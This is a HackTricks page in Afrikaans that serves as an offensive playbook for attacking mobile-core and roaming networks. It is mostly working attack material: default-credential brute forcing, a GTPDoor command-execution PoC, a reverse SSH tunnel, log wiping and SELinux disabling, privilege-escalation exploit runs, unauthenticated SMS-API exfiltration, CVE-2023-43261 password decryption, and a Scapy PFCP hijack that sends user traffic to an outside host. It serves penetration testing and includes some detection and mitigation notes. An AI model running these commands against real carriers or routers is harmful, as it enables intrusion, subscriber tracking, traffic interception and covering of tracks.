Telecommunikasie Netwerkuitbuiting (GTP / Roaming Omgewings)

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Note

Mobile-core protocols (GPRS Tunnelling Protocol – GTP) loop dikwels deur semi-vertroude GRX/IPX roaming-backbones. Omdat hulle oor gewone UDP verkeer met byna geen autentisering nie, kan enige voeting binne ’n telecom-perimeter gewoonlik direk die kern seinvlakke bereik. Die volgende notas versamel offensiewe truuks wat in die veld waargeneem is teen SGSN/GGSN, PGW/SGW en ander EPC-node.

1. Recon & Initial Access

1.1 Default OSS / NE Accounts

’n Verbazingwekkend groot aantal verskaffer-netwerkelemente word saamgestuur met hard-coded SSH/Telnet-gebruikers soos root:admin, dbadmin:dbadmin, cacti:cacti, ftpuser:ftpuser, … ’n toegewyde wordlist verhoog dramaties brute-force sukses:

hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt

As die toestel slegs ’n bestuurs-VRF blootstel, pivot eers via ’n jump host (sien afdeling «SGSN Emu Tunnel» hieronder).

1.2 Host Discovery inside GRX/IPX

Die meeste GRX-operateurs laat steeds ICMP echo oor die backbone toe. Kombineer masscan met die ingeboude gtpv1 UDP-probes om vinnig GTP-C-luisteraars in kaart te bring:

masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55

2. Enumerasie van intekenare – cordscan

Die volgende Go tool vervaardig GTP-C Create PDP Context Request pakkette en registreer die antwoorde. Elke antwoord openbaar die huidige SGSN / MME wat die gevraagde IMSI bedien en, soms, die intekenaar se besoekte PLMN.

# Build
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan

# Usage (typical):
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap

Belangrike flags:

  • --imsi IMSI van teikenabonnee
  • --oper Tuis / HNI (MCC+MNC)
  • -w Skryf rou pakkette na pcap

Belangrike konstantes binne die binêre kan aangepas word om skanderings uit te brei:

pingtimeout       = 3   // seconds before giving up
pco               = 0x218080
common_tcp_ports  = "22,23,80,443,8080"

3. Kode-uitvoering oor GTP – GTPDoor

GTPDoor is ’n klein ELF-diens wat luister op UDP 2123 en elke inkomende GTP-C-pakket ontleed. Wanneer die payload begin met ’n pre-shared tag, word die oorblyfsel gedekripteer (AES-128-CBC) en uitgevoer via /bin/sh -c. Die stdout/stderr word binne Echo Response-boodskappe exfiltrated sodat geen uitgaande sessie ooit geskep word nie.

Minimale PoC-pakket (Python):

import gtpc, Crypto.Cipher.AES as AES
key = b"SixteenByteKey!"
cmd = b"id;uname -a"
enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))

Opsporing:

  • enige gasheer wat ongebalanseerde Echo Requests na SGSN IPs stuur
  • GTP version flag op 1 gestel terwyl message type = 1 (Echo) – afwyking van spesifikasie

4. Pivoting Deur die Kern

4.1 sgsnemu + SOCKS5

OsmoGGSN lewer ’n SGSN emulator wat in staat is om vestig ’n PDP context na ’n regte GGSN/PGW. Sodra dit onderhandel is, ontvang Linux ’n nuwe tun0 interface wat bereikbaar is vanaf die roaming peer.

sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
-APN internet -c 1 -d
ip route add 172.16.0.0/12 dev tun0
microsocks -p 1080 &   # internal SOCKS proxy

Met behoorlike firewall hair-pinning omseil hierdie tunnel signalling-only VLANs en beland jy direk in die data plane.

4.2 SSH Reverse Tunnel oor Port 53

DNS is byna altyd oop in roaming-infrastrukture. Maak ’n interne SSH-diens op jou VPS sigbaar wat op :53 luister en keer later van tuis af terug:

ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com

Kontroleer dat GatewayPorts yes op die VPS geaktiveer is.

5. Covert Channels

KanaalTransportDekoderingAantekeninge
ICMP – EchoBackdoorICMP Echo Req/Rep4-byte key + 14-byte chunks (XOR)puur passiewe luisteraar, geen uitgaande verkeer
DNS – NoDepDNSUDP 53XOR (key = funnyAndHappy) encoded in A-record octetskyk vir *.nodep subdomein
GTP – GTPDoorUDP 2123AES-128-CBC blob in private IEvermeng met legitieme GTP-C verkeer

All implants implement watchdogs that timestomp their binaries and re-spawn if crashed.

6. Defense Evasion Cheatsheet

# Remove attacker IPs from wtmp
utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp

# Disable bash history
export HISTFILE=/dev/null

# Masquerade as kernel thread
echo 0 > /proc/$$/autogroup   # hide from top/htop
printf '\0' > /proc/$$/comm    # appears as [kworker/1]

touch -r /usr/bin/time /usr/bin/chargen   # timestomp
setenforce 0                              # disable SELinux

7. Privilege Escalation op Legacy NE

# DirtyCow – CVE-2016-5195
gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd

# PwnKit – CVE-2021-4034
python3 PwnKit.py

# Sudo Baron Samedit – CVE-2021-3156
python3 exploit_userspec.py

Opruimwenk:

userdel firefart 2>/dev/null
rm -f /tmp/sh ; history -c

8. Gereedskapskis

  • cordscan, GTPDoor, EchoBackdoor, NoDepDNS – aangepaste gereedskap beskryf in vorige afdelings.
  • FScan : intranet TCP sweeps (fscan -p 22,80,443 10.0.0.0/24)
  • Responder : LLMNR/NBT-NS rogue WPAD
  • Microsocks + ProxyChains : lightweight SOCKS5 pivoting
  • FRP (≥0.37) : NAT traversal / asset bridging

9. 5G NAS Registrasie-aanvalle: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay

Die 5G-registrasieprosedure loop oor NAS (Non-Access Stratum) bo-op NGAP. Totdat NAS-sekuriteit geaktiveer word deur Security Mode Command/Complete, is aanvanklike boodskappe nie geverifieer nie en nie versleuteld nie. Hierdie pre-sekuriteitsvenster maak verskeie aanvalspaaie moontlik wanneer jy N2-verkeer kan observeer of manipuleer (bv. on-path binne die core, rogue gNB, of testbed).

Registrasievloeistroom (vereenvoudig):

  • Registration Request: UE stuur SUCI (geënkripteerde SUPI) en vermoëns.
  • Authentication: AMF/AUSF send RAND/AUTN; UE returns RES*.
  • Security Mode Command/Complete: NAS-integriteit en sifering word beding en geaktiveer.
  • PDU Session Establishment: IP/QoS-opstelling.

Lab opstellingswenke (nie-RF):

  • Core: Open5GS default deployment is sufficient to reproduce flows.
  • UE: simulator or test UE; decode using Wireshark.
  • Active tooling: 5GReplay (capture/modify/replay NAS within NGAP), Sni5Gect (sniff/patch/inject NAS on the fly without bringing up a full rogue gNB).
  • Useful display filters in Wireshark:
  • ngap.procedure_code == 15 (InitialUEMessage)
  • nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request)

9.1 Identifier privacy: SUCI failures exposing SUPI/IMSI

Verwag: UE/USIM moet SUCI stuur (SUPI encrypted with the home-network public key). Die vind van ’n plaintext SUPI/IMSI in die Registration Request dui op ’n privaatheidsdefek wat volgehoue abonnee-opsporing moontlik maak.

Hoe om te toets:

  • Capture the first NAS message in InitialUEMessage and inspect the Mobile Identity IE.
  • Wireshark quick checks:
  • Dit behoort as SUCI te dekodeer, nie IMSI nie.
  • Filter examples: nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci should exist; absence plus presence of imsi indicates leakage.

Wat om in te samel:

  • MCC/MNC/MSIN indien blootgestel; log per-UE en spoor oor tyd/liggings.

Mitigasie:

  • Enforce SUCI-only UEs/USIMs; alert on any IMSI/SUPI in initial NAS.

9.2 Capability bidding-down to null algorithms (EEA0/EIA0)

Agtergrond:

  • UE adverteer ondersteunde EEA (enkripsie) en EIA (integriteit) in die UE Security Capability IE van die Registration Request.
  • Algemene mappings: EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC; EEA0/EIA0 are null algorithms.

Probleem:

  • Omdat die Registration Request nie integriteitbeskerm is nie, kan ’n on-path aanvaller die capability-bits uitvee om die keuse van EEA0/EIA0 later tydens Security Mode Command af te dwing. Sommige stacks laat verkeerdelik nul-algoritmes toe buite nooddienste.

Aanvallende stappe:

  • Intercept InitialUEMessage and modify the NAS UE Security Capability to advertise only EEA0/EIA0.
  • With Sni5Gect, hook the NAS message and patch the capability bits before forwarding.
  • Observe whether AMF accepts null ciphers/integrity and completes Security Mode with EEA0/EIA0.

Verifikasie/sigbaarheid:

  • In Wireshark, bevestig die geselekteerde algoritmes na Security Mode Command/Complete.
  • Voorbeeld van passiewe sniffer-uitset:
Encyrption in use [EEA0]
Integrity in use [EIA0, EIA1, EIA2]
SUPI (MCC+MNC+MSIN) 9997000000001

Mitigasies (verpligtend):

  • Konfigureer AMF/policy om EEA0/EIA0 te verwerp, tensy dit streng verpligtend is (bv. noodoproepe).
  • Verkies om ten minste EEA2/EIA2 af te dwing; registreer en waarsku oor enige NAS security context wat null algorithms onderhandel.

9.3 Replay van aanvanklike Registration Request (pre-security NAS)

Omdat die aanvanklike NAS nie integriteit en varsheid het nie, kan vasgevangde InitialUEMessage+Registration Request aan die AMF herhaal word.

PoC-reël vir 5GReplay om ooreenstemmende replays deur te stuur:

<beginning>
<property value="THEN"
property_id="101"
type_property="FORWARD"
description="Forward InitialUEMessage with Registration Request">

<!-- Trigger on NGAP InitialUEMessage (procedureCode == 15) -->
<event value="COMPUTE"
event_id="1"
description="Trigger: InitialUEMessage"
boolean_expression="ngap.procedure_code == 15"/>

<!-- Context match on NAS Registration Request (message_type == 65) -->
<event value="COMPUTE"
event_id="2"
description="Context: Registration Request"
boolean_expression="nas_5g.message_type == 65"/>

</property>
</beginning>

Wat om waar te neem:

  • Of die AMF die replay aanvaar en na Authentication voortgaan; ’n gebrek aan varsheid-/konteksvalidasie dui op blootstelling.

Mitigering:

  • Dwing replay-beskerming/konteks-binding by die AMF af; rate-limit en korreleer per-GNB/UE.

9.4 Tooling pointers (reproducible)

  • Open5GS: spin up ’n AMF/SMF/UPF om die core te emuleer; waarneem N2 (NGAP) en NAS.
  • Wireshark: verifieer dekodes van NGAP/NAS; pas die filters hierbo toe om Registration te isoleer.
  • 5GReplay: vang ’n Registration op, en replay dan spesifieke NGAP + NAS-boodskappe soos per die reël.
  • Sni5Gect: live sniff/modify/inject NAS control-plane om null algorithms te dwing of authentication sequences te versteur.

9.5 Defensive checklist

  • Deurlopend inspekteer Registration Request vir onversleutelde SUPI/IMSI; blokkeer die oortredende devices/USIMs.
  • Weier EEA0/EIA0 behalwe in nou gedefinieerde noodprosedures; vereis minstens EEA2/EIA2.
  • Detecteer skelmerige of verkeerd geconfigureerde infrastruktuur: ongemagtigde gNB/AMF, onverwagte N2-peers.
  • Waarsku oor NAS-sekuriteitsmodusse wat tot null algorithms lei of gereelde replays van InitialUEMessage.

10. Industriële selulêre routers – Unauthenticated SMS API Abuse (Milesight UR5X/UR32/UR35/UR41) and Credential Recovery (CVE-2023-43261)

Die misbruik van blootgestelde web-API’s van industriële selulêre routers maak stealthy, carrier-origin smishing op skaal moontlik. Milesight UR-reeks routers bied ’n JSON-RPC–styl endpoint by /cgi. As dit verkeerd geconfigureer is, kan die API sonder outentisering bevra word om SMS-inbox/outbox te lys en, in sommige implementasies, om SMS te stuur.

Tipiese versoeke sonder outentisering (dieselfde struktuur vir inbox/outbox):

POST /cgi HTTP/1.1
Host: <router>
Content-Type: application/json

{ "base": "query_outbox", "function": "query_outbox", "values": [ {"page":1,"per_page":50} ] }
{ "base": "query_inbox", "function": "query_inbox", "values": [ {"page":1,"per_page":50} ] }

Antwoorde sluit velde in soos timestamp, content, phone_number (E.164) en status (success of failed). Herhaalde failed sends na dieselfde nommer is dikwels attacker “capability checks” om te verifieer dat ’n router/SIM kan aflewer voordat daar geblast word.

Voorbeeld curl om SMS-metadata te exfiltrate:

curl -sk -X POST http://<router>/cgi \
-H 'Content-Type: application/json' \
-d '{"base":"query_outbox","function":"query_outbox","values":[{"page":1,"per_page":100}]}'

Aantekeninge oor auth artefakte:

  • Sommige verkeer kan ’n auth cookie insluit, maar ’n groot deel van blootgestelde toestelle antwoord sonder enige authentication op query_inbox/query_outbox wanneer die management interface Internet-facing is.
  • In omgewings wat auth vereis, previously-leaked credentials (sien hieronder) herstel toegang.

Credential herstelpad – CVE-2023-43261:

  • Geaffekteerde families: UR5X, UR32L, UR32, UR35, UR41 (pre v35.3.0.7).
  • Kwessie: web-served logs (bv. httpd.log) is bereikbaar unauthenticated onder /lang/log/ en bevat admin login events met die password encrypted using a hardcoded AES key/IV present in client-side JavaScript.
  • Praktiese toegang en decrypt:
curl -sk http://<router>/lang/log/httpd.log | sed -n '1,200p'
# Look for entries like: {"username":"admin","password":"<base64>"}

Minimale Python om leaked wagwoorde te ontsleutel (AES-128-CBC, hardcoded key/IV):

import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
KEY=b'1111111111111111'; IV=b'2222222222222222'
enc_b64='...'  # value from httpd.log
print(unpad(AES.new(KEY, AES.MODE_CBC, IV).decrypt(base64.b64decode(enc_b64)), AES.block_size).decode())

Hunting and detection ideas (network):

  • Waarsku oor nie-geauthentiseerde POST /cgi waarvan die JSON-lyf base/function gestel is op query_inbox of query_outbox.
  • Volg herhaalde POST /cgi-uitbarstings wat gevolg word deur status":"failed" inskrywings oor baie unieke nommers vanaf dieselfde bron-IP (capability testing).
  • Maak ’n inventaris van Internet-blootgestelde Milesight routers; beperk bestuur tot VPN; deaktiveer SMS-funksies tensy benodig; upgrade na ≥ v35.3.0.7; roteer inlogbewyse en hersien SMS-loglêers vir onbekende versendings.

Shodan/OSINT pivots (voorbeelde gesien in die wild):

  • http.html:"rt_title" matches Milesight router panels.
  • Google dorking vir blootgestelde loglêers: "/lang/log/system" ext:log.

Operasionele impak: die gebruik van legitieme carrier SIMs binne routers gee baie hoë SMS-aflewerbaarheid/geloofwaardigheid vir phishing, terwyl inbox/outbox blootstelling sensitiewe metadata leaks op skaal.


11. PFCP Session Hijack & GTP-U TEID Abuse

11.1 PFCP Session Modification to steal flows

As jy PFCP op N4 kan praat (bv. vanaf ’n verkeerd gefilterde GRX/IPX-segment), stel ’n Session Modification Request op wat ’n duplikaat PDR ID invoeg maar met ’n kleinere Precedence en ’n FAR wat na jou host wys. Sommige UPFs (bv. OAI-cn5g) pas die eerste ooreenstemmende PDR toe en kontroleer nooit op uniekheid nie, sodat die kwaadwillige PDR alle daaropvolgende pakkette van daardie PDU session na jou sink kaap.

Minimal Scapy PoC (assumes PFCP contrib is available and you know SEID/PDR IDs):

Scapy PFCP session hijack PoC ```python from scapy.all import * from scapy.contrib.pfcp import *

n4 = “10.10.20.5” # UPF N4 seid = 0x123456789abc pdr_id = 7 # existing PDR ID in session far_id = 77 # new malicious FAR

pkt = IP(dst=n4)/UDP(sport=8805,dport=8805)/PFCP( S=1, seid=seid, msg_type=MODIFICATION_REQUEST)/PFCPSessionModificationRequest( IE_list=[PDR(id=pdr_id, precedence=1, outer_header_removal=0, far_id=fid_identifier(far_id)), FAR(id=far_id, apply_action=0b10, # FORWARD forwarding_parameters=ForwardingParameters( outer_header_creation=OuterHeaderCreation( desc=0x0002, ipv4_address=“203.0.113.55”, teid=0xdeadbeef)))] ) send(pkt, verbose=False)

</details>

### 11.2 Injectering van gebruikersverkeer deur spoofing van TEIDs
As uplink GTP-U vanaf die backbone nie ACL’d is nie, kan jy **TEIDs** wat in GTP-U headers gesien word herspeel/raai en arbitrêre IP/TCP na die UE se peer of die Internet inkapsuleer. Voorbeeld craft:
```python
send(IP(dst="10.10.20.8")/UDP(dport=2152,sport=2152)/
GTP_U_Header(teid=0x7ffed00)/
IP(src="10.0.0.10",dst="1.1.1.1")/TCP(dport=443,flags="S"))

Kombineer dit met passive sniffing op N3/N6 om aktiewe TEIDs te leer; baie PGW/UPF stacks aanvaar enige uplink-bron sodra die TEID ooreenstem.


12. SBA/SBI Fuzzing & Cross-Service Token Attack (free5GC R17)

FivGeeFuzz (academic 2025) lei grammatikas outomaties af uit 3GPP OpenAPI specs om HTTP-based SBIs te fuzz. Teen free5GC het dit agt foutes opgespoor, insluitend die Cross-Service Token misbruik: ’n gekompromitteerde NF verkrijg ’n access token vir Service A en hergebruik dit teen Service B omdat audience/issuer checks in die teiken-NF ontbreek het.

Vinnige replay-idee (aangenome jy het ’n NRF-issued token van enige NF gesteel):

# Swap :authority to the victim NF and reuse the bearer token
curl -sk -H "Authorization: Bearer $TOKEN" \
-H "Host: smf.internal" \
https://smf.internal/nsmf-pdusession/v1/sm-contexts

Om outomaties te fuzz met FivGeeFuzz grammars:

python3 fivgeefuzz.py --nf nsmf-pdusession \
--target https://smf.internal \
--grammar grammars/nsmf-pdusession.json \
--token "$TOKEN" --threads 8 --max-cases 500

Watch for 401/403 bypasses and crashes in SMF/AMF pods; patched free5GC builds reject mismatched aud/iss.


Opsporingsidees

  1. Enige toestel anders as ’n SGSN/GGSN wat Create PDP Context Requests opstel.
  2. Nie-standaard poorte (53, 80, 443) wat SSH handshakes van interne IP’s ontvang.
  3. Gereelde Echo Requests sonder ooreenstemmende Echo Responses – kan op GTPDoor beacons dui.
  4. Hoë tempo van ICMP echo-reply verkeer met groot, nie-nul identifier/sequence-velde.
  5. 5G: InitialUEMessage wat NAS Registration Requests dra wat herhaal word vanaf identiese endpunte (replay signal).
  6. 5G: NAS Security Mode wat EEA0/EIA0 onderhandel buite noodgevalskontekste.
  7. PFCP: Session Modification wat duplikaat PDR IDs bevat of skielike FAR-omleiding na off-net IPs.
  8. SBA: NRF gee tokens uit waarvan aud nie met die aangeroepe NF ooreenstem nie – aanduidend van Cross-Service Token replay.

Verwysings

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks